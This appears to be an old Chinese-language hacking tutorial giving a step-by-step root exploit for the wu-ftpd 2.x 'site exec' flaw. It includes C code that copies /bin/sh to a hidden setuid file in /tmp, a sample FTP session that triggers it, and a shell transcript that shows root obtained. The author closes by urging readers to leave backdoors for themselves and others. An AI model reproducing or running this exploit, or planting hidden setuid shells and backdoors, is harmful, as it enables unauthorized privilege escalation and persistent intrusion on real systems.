1.需求: (1)该主机的 ftpd 使用 wu-ftp 2.x 版本 (2)您必须有该主机的任何一个帐号
2.步骤: (1)先 telnet login 到主机您的目录下... (2)使用 cc -o bug bug.c 将下列程式编译...
--< bug.c >----------------------------- #include #include #include main() { seteuid(0); system("cp /bin/sh /tmp/.sh"); system("chmod 6777 /tmp/.sh"); } ----------------------------------------- 编译成功後会在您的目录下产生 bug 这个档案 (别忘了 chmod ...) (3)使用 ftp login 到该主机下... 220 hackerforce FTP server (Version wu-2.4(1) Sun Jul 31 21:00:15 CDT 1997) ready. Name (hackerforce:ftp): funky 331 Password required for funky. Password: (password) 230 User funky logged in. Remote system type is UNIX. Using binary mode to transfer files. ftp> quote "site exec bash -c id" (检查系统是否能利用此 bug) 200-bash -c id 200-uid=0(root) gid=0(root) euid=101(funky) egid=50(users) groups=50(users) 200 (end of 'bash -c id') (一但出现 euid=0 就成功了) ftp> quote "site exec bash -c /yer/home/dir/ftpbug" (执行您刚编译成功的 bug) 200-bash -c /your/home/dir/bug 200 (end of 'bash -c /your/home/dir/bug') ftp> quit (离开 ftp) 221 Goodbye.
(4)再 telnet 进去该主机,执行 /tmp/.sh 这个 setuid root shell ... $ id uid=101(funky) gid=50(user) $ /tmp/.sh # id uid=101(funky) gid=50(user) euid=0(root) #
恭喜您...到此您就成功的拿到 root 权限了....
3.後记:
由於 wu-ftpd 执行时的 euid 是 root ,所以我们透过这个 hole 来执行执行外部的命令....当编译完的 bug 一但被执行,便会帮您将 /bin/sh 这个 shell 复制一份到 /tmp/.sh 下,并且会将 /tmp/.sh setuid ,一但成功後只要任何使用者执行 /tmp/.sh 这个 setuid shell 就会雍有 root 的 euid .... 一但您得手後,别忘了帮自己及别人多留些 backdoor... ;-)
弟有感於国内这些 hack 资源实在很有限,以後弟会试著将一些弟曾实作过的技巧及心得 post 出来,让有兴趣的朋友能很快的进入这个领域,欢迎各位前辈後进,能多多与弟研究,交流.....
funky chen e-mail:[email protected] http://w7.dj.net.tw/~hacker

|